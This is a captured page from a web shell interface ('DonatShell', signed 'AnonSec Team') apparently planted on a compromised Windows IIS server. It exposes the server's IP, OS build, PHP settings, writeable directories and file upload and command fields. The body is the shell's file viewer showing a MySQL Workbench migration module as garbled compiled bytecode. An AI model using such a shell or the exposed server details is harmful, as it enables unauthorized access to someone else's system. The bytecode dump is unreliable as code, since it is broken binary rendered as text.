DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Program Files/MySQL/MySQL Workbench 6.3 CE/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /Program Files/MySQL/MySQL Workbench 6.3 CE/modules/db_generic_migration_grt.pyc

2zXc@sddlmZddlmZddlZddZdZdZeddd	d
ddZda	ia
d
efdYZeZ
ejejdZejejejejjdZejejjejjejjdZejejjejjejjejjdZejejjejjejjejjdZejejejjejjejjdZejejjejjejjejjdZejejj ejjejj!ejjdZ"ejejj#ejjejj$ejjdZ%ejejj&ejjejj'ejjdZ(ejejjejjejjdZ)ejej*ejj+fejjdZ,dS(i(tDefineModule(tfind_object_with_old_nameNiiitnametDbGenericMigrationtauthorsOracle Corp.tversions1.0tGenericMigrationcBseZdZdZdZedZdZdZdZ	dZ
dZd	Zd
Z
dZdZd
ZdZdZdZdZdZdZdZdZRS(cCsx|jD]y}t|jt|kr
t|jjt|jkr
|jjj|jjkr
|jj|jkr
|jSq
WdS(s\Finds the matching target object for a given source object, by searching in the migrationLogN(tmigrationLogttypet	logObjecttownerRt	refObjecttNone(tselftstatetsourceObjecttlog((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pytfindMatchingTargetObject"s!cCs|jrx|jD]}|jj|jkr|jdkrk|jdkrk|j|jkrkqn|jdkr|jdkr|j|jkrqn|SqWndS(Ni(tgenericDatatypeMappingstsourceDatatypeNametuppertlengthConditionFromtlengthtlengthConditionToR(R
Rtcolumntdatatypettypemap((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pytfindDatatypeMapping,s	11	cCs@d||jks8d||jj|jf|jkr<tStS(Ns%s:*s%s:%s.%s(t
ignoreListR
RtFalsetTrue(R
Rtotypetobject((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pyt
shouldMigrate?s8cCs|}t|dkr}td7a|d tt}|r}tjj}d|_d||f|_|jj	|q}n|S(Ni@ii>s5Identifier `%s` is too long and was truncated to `%s`(
tlenttruncated_identifier_serialtstrtgrttclassestGrtLogEntryt	entryTypeRtentriestappend(R
RRtdots_allowedt
mysql_nametentry((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pytmigrateIdentifierDs
	c
Cs1|j}td|jD}|j}|r`|jr`|jj}|jj|jjn|r|j}|}|j	|||}	|	r|j
|	jjst
jdd|	j|f|jd||d|	j|ftS||	jj|_|	jdkr |	j|_n|	jdkr>|	j|_n|	jdkr\|	j|_n|	jdkrd|jkr|jjdqqnc|j
|jr||j|_n8t
jdd	||f|jd||d
|tStS|jd||d|j|jj|jftStS(Ncss$|]}|jj|fVqdS(N(RR(t.0R((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pys	<genexpr>UstmigrateTableColumnsToMySQLs*Can't find mapped datatype %s for type %s
isLUnknown mapped datatype "%s" for source type "%s" (check type mapping table)iitUNSIGNEDs#Can't find datatype %s for type %s
sUnknown datatype "%s"s2Could not migrate type of column "%s" in "%s" (%s)(t
targetCatalogtdicttsimpleDatatypest
simpleTypetuserTypet
actualTypetflagstextendRRthas_keyttargetDatatypeNameRR%tlog_warningtaddMigrationLogEntryRRtscalet	precisiont
isUnsignedR*RR
tformattedRawType(
R
Rt
source_columnt
target_columnR2tmysql_simpleTypestsource_typetsource_datatypettarget_datatypeR((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pytmigrateDatatypeForColumnRsJ			 cCs?|j}|r(|jr(|jj}n|r;|jjSdS(N(R5R6R7RRR(R
RRE((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pytgetColumnDataTypes	cCs|S(s]
        Create datatype cast expression for target column based on source datatype.
        ((R
Rttarget_catalog((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pytmigrateUpdateForChangesscCs|S(N((R
Rt
default_valueRBRC((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pytmigrateColumnDefaultValuescCs
||fS(N((R
Rtcharsett	collationt
source_objectt
target_object((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pytmigrateCharsetCollationsc
Cstjj}|jd||d}|j|j||_|j|_|jjj	}|j
j|j
||_|j
r|j
}tjj}||_	|j|j|j|jf\|_|_|_|_|j|_||_nHtjj}||_	d\|_|_|_|_d|_||_trtjddd}x|jD]}	tjd|t|jdd|d	t|jdtjd|t|jdd
|	j|j||	|}
|
r|jj|
ntj|d	7}q\Wtjddxu|jD]j}	tt|	j<xQ|	jD]F}|j|d|smqLn|j ||}|j!|||qLWq,Wtjd
dn|S(Nitis5.5.0gsMigrating...g?g|=isMigrating schema %s...s#Finalizing foreign key migration...ttablesg?sMigration finished(iiii("R%R&tdb_mysql_CatalogR=R.RtoldNamettargetConnectiontdriverR
R4R9R2t
targetVersiont
GrtVersiontmajorNumbertminorNumbert
releaseNumbertbuildNumberRRt
send_progresstschematatbegin_progress_stepR"t
migrateSchemaR*tend_progress_steptsett	key_namesRTR!RtmigrateTableToMySQL2ndPass(
R
Rtsource_catalogRJRttargetRdbmstaTargetVersionRYtitsourceSchemattargetSchematsourceTablettargetTable((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pytmigrateCatalogsP				6			>,
cCstjj}||_|jd||d}|j||j|j||\|_|_|j|j	||_	|j	|_
|j|_tjdd|j	t
rtjdd|j|||tjn|S(NiRSg?s'Migrating schema contents for schema %sg?(R%R&tdb_mysql_SchemaR
R=RRtdefaultCharacterSetNametdefaultCollationNameR.RRVtcommentR_RRatmigrateSchemaContentsRc(R
RRkR2RlR((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pyRbs	-
cCsGtg|jD]!}|j|d|r
|^q
tg|jD]!}|j|d|rA|^qAtg|jD]!}|j|d|rv|^qvd}d}x|jD]z}	|j|d|	r|j||	|}
|
r|jj|
ntj||d|j	|	j	f|d7}qqWx|jD]z}|j|d|r=|j
|||}|r|jj|ntj||d|j	|j	f|d7}q=q=Wx|jD]z}
|j|d|
r|j||
|}|r|jj|ntj||d	|j	|
j	f|d7}qqWdS(
NRTtviewstroutinesg|=gsTable %s.%s migratedisView %s.%s migratedsRoutine %s.%s migrated(R"RTR!RuRvtmigrateTableToMySQLR*R%R_RtmigrateViewToMySQLtmigrateRoutineToMySQL(R
RRlRkttabletviewtroutinettotalRjtsource_tablettarget_tabletsource_viewttarget_viewtsource_routinettarget_routine((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pyRts0$$$cCstjj}|jd||d}||_|j|j||_|j|_|j|_|j	|_	t
rt}x[|jD]P}|j
|||}|r|jj||jr|j|jqqqWt|dkr)|jdkr)x|jD]}	d|	_qW|j|_nx?|jD]4}
|j||
|}|r3|jj|q3q3W|j||||jr t|jjdkr d}xPt|jjD]<\}
}	|	jjr|dkr|
}qd|	j_qqW|dk	r |jjj|dq n|jrHtd|jjD}ng}xR|jD]G}	|	jrX|	j|krXd|	_|jd||d|	jqXqXWxZ|jD]L}|j|d|r|j|||}|r|jj|qqqWn|S(NiRSicss|]}|jjVqdS(N(treferencedColumnR(R/R((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pys	<genexpr>9ssdAutoincrement unset for column %s: Autoincrement for non primary key columns is not allowed in MySQLttriggers( R%R&tdb_mysql_TableR=R
R.RRVRstisStubRRdtcolumnstmigrateTableColumnToMySQLR*t
collationNametaddR"RrtpoptindicestmigrateTableIndexToMySQLtmigrateTablePrimaryKeyToMySQLt
primaryKeyRt	enumerateRt
autoIncrementtreorderRR!tmigrateTriggerToMySQL(R
RRmRlRnRtcolumn_collationstsourceColumnttargetColumnRtsourceIndexttargetIndextfirst_autoinc_columntidxtpk_colst
sourceTriggert
targetTrigger((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pyRws^			!
!			cCsFx?|jD]4}|j|||}|r
|jj|q
q
WdS(Ni(tforeignKeystmigrateTableForeignKeyToMySQLR*(R
RRmRntsourceFKttargetFK((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pyRfLs
cCs|jr|jjdkr|jdkrxd|jjD]S}||krMPn|jr7|jjdkr7|jd||dd|_q7q7Wqn,tjd|j|jjj|jjfdS(Nt	TIMESTAMPtCURRENT_TIMESTAMPismDEFAULT CURRENT_TIMESTAMP can only be used in the first TIMESTAMP column of the table. Default value removed.RSs6Could not migrate datatype of column %s in table %s.%s(R5RtdefaultValueR
RR=R%tsend_warning(R
RRBRCR((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pyt"secondary_default_value_validationSs	!cCs|jj}tjj}||_|jd||d}|j|j|dt|_|j|_x3|j	D](}||j	krp|j	j
|qpqpW|j|_|j|_|j
|_
|j|_|j|_|j|_|j||j|j||\|_|_|j|_|j|||s5n|j||j|||_|jj|jj|jjfdkr|j|||n|S(NiRSR+ii(iii(R
R%R&tdb_mysql_ColumnR=R.RRRVR8R*tdefaultValueIsNullt	isNotNullRR>R?tdatatypeExplicitParamsRRtcharacterSetNameRRsRHRMRRR[R\R]R(R
RRBRnRJRCRtflag((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pyRds.	-'cCs+|jr't|j|jj|_ndS(Ni(RRRR(R
RRmRn((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pyRs	c	Cs|j}t|jdks3t|jdkrT|jd|dd|jdStjj}|jd||d}||_|j	|j|dt
|_|j|_|j|_|j
|_
|j|_|j|_|j|_x|jD]}t|j|jj}|sG|jd||d|j|j|jfntjj}	||	_||	_|j|	_|j|	_|jr|jjjdkr|jdkrt|jtnt}
|	jdkrt|
|	j|	_nr|	jdkrI|jdkr%|
|jkr%|
|	_q^|jjjd
kr^|
|	_q^nt|
|j|	_|	j|jkr|jd
||d|j|j|	jfqn|j|	_|j|	_|jj|	qW|S(NiisrThe migration of table %s indices was attempted but either the source or the target table has no columns attributeRSR+sgThe column "%s" is part of source table "%s" index "%s" but there is no such column in the target tabletstringttexttblobis7Truncated key column length for column %s from %s to %s(sstringstextR(stextR(R
R"RR=RRR%R&tdb_mysql_IndexR.RRVt	isPrimarytdeferabilitytuniquet	indexTypeRsRRtdb_mysql_IndexColumntcolumnLengthR5tgroupRtmint&MYSQL_MAX_INDEX_KEY_LENGTH_INNODB_UTF8tdescendR*(R
Rtsource_indexRnRmttarget_indexRtsource_index_columntreferenced_index_colttarget_index_columntprefix_length_limit((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pyRsT	*	 		'#cCsm|j}|j}t|jdks<t|jdkr]|jd|dd|jdS|jdkrpdStjj	}||_|jd||d}|j}|t
|jkr'd}	x<tr|jd|	}|t
|jkrPn|	d7}	qW|jd||d|j|fn|j||dt|_t
|jj
||j|_|jjd	d
|_|jjd	d
|_|j|_d|_|j|_|j|_|j|_|j|_y.|j||jj}
|
stdnWn@tk
rG}|jd||dt||jjf|SXy4|j||j}|srtd
n||_Wn=tk
r}|jd||dt||jf|SXt}
x|jD]}yZ|j||}|std|j|jddt|jfn|jj|Wqtk
rp}|jd||dt||jft}
qXqW|
r|St}
x|jD]}y]|j||}|std|j|jddt|jjfn|jj|Wqtk
r6}|jd||dt||jft}
qXqW|
rE|S|jri|j||j|_n|S(NiiswThe migration of table %s foreign keys was attempted but either the source or the target table has no columns attributeiRSs_%dsCThe foreign key constraint name "%s" is duplicated. Changed to "%s"R+t_t s=The referenced schema does not refer to a valid schema objects6"%s" while trying to get the schema for the table "%s"s;The referenced table does not refer to a valid table objectsF"%s" while trying to get the referenced table for the foreign key "%s"s+The column "%s" was not found in table "%s"sD"%s" while trying to get the target columns for the foreign key "%s"somigrateTableForeignKeysToMySQL: "%s" while trying to get the referenced target columns for the foreign key "%s"( R
R"RR=RRt	modelOnlyR%R&tdb_mysql_ForeignKeyReRR.RRVt
deleteRuletreplacet
updateRuleRt	mandatorytreferencedMandatorytmanyRsRtreferencedTablet
ValueErrort	ExceptionR$RR*treferencedColumnstindex(R
Rt	source_fkRnRmRkt	target_fkRtfk_nameRtreferenced_schematerrtreferenced_tablet
column_errorstsource_fk_columnt
target_fk_col((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pyRs		*				
.1	cCsdddddddg}tjj}|jd||d	||_x'|D]}t||t||qPWd
|_|S(NRRVtdefinerteventttimingtenabledt
sqlDefinitioniRSi(R%R&tdb_mysql_TriggerR=R
tsetattrtgetattrtcommentedOut(R
Rtsource_triggerRtcopy_membersttarget_triggertm((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pyR)s	
	cCszdddddg}tjj}||_|jd||dx'|D]}t||t||qJWd|_|S(	NRRVtwithCheckConditiont
isReadOnlyRiRSi(R%R&t
db_mysql_ViewR
R=RRR(R
RRt
target_schemaRRR((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pyRx5s		
	cCswddddg}tjj}||_|jd||dx'|D]}t||t||qGWd|_|S(NRRVtroutineTypeRiRSi(R%R&tdb_mysql_RoutineR
R=RRR(R
RRRRRR((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pyRyCs	
	(t__name__t
__module__RRR!RR.RHRIRKRMRRRoRbRtRwRfRRRRRRRxRy(((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pyRs,	
			5					9		!	G			"		;	a		cCsdS(NtGeneric((((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pytgetTargetDBMSNameRscCstj||S(N(tinstanceR.(RR((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pyR.VscCstj||S(N(RRo(RRg((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pyRo[scCstj|||S(N(RRb(RRkR2((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pyRb`scCstj|||S(N(RRw(RRmR((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pyRwescCstj|||S(N(RRf(RRmRn((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pyRfjscCstj|||S(N(RR(RRRn((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pyRoscCstj|||S(N(RR(RRR((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pyRtscCstj|||S(N(RRx(RRR((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pyRxyscCstj|||S(N(RRy(RRR((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pyRy~scCstj||S(N(RRK(RRJ((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pyRKscCs"tjtjtjjj}|S(N(R%tListtOBJECTR&tdb_migration_MigrationParametert__grtclassname__(Rtlist((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pytgetMigrationOptionss(-twbRtworkbench.utilsRR%Rt(MYSQL_MAX_INDEX_KEY_LENGTH_INNODB_LATIN1t%MYSQL_MAX_INDEX_KEY_LENGTH_NDBCLUSTERt
ModuleInfoR#ReR RRtexporttSTRINGRR&tGrtLogObjectR.t
db_Catalogtdb_migration_MigrationRot	db_SchemaRbtdb_TableRwtINTRfRt
db_ForeignKeyRRt
db_TriggerRRtdb_ViewRxRt
db_RoutineRyRKtLISTRR(((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\db_generic_migration_grt.pyt<module>s0
3	*099699990

Anon7 - 2022
AnonSec Team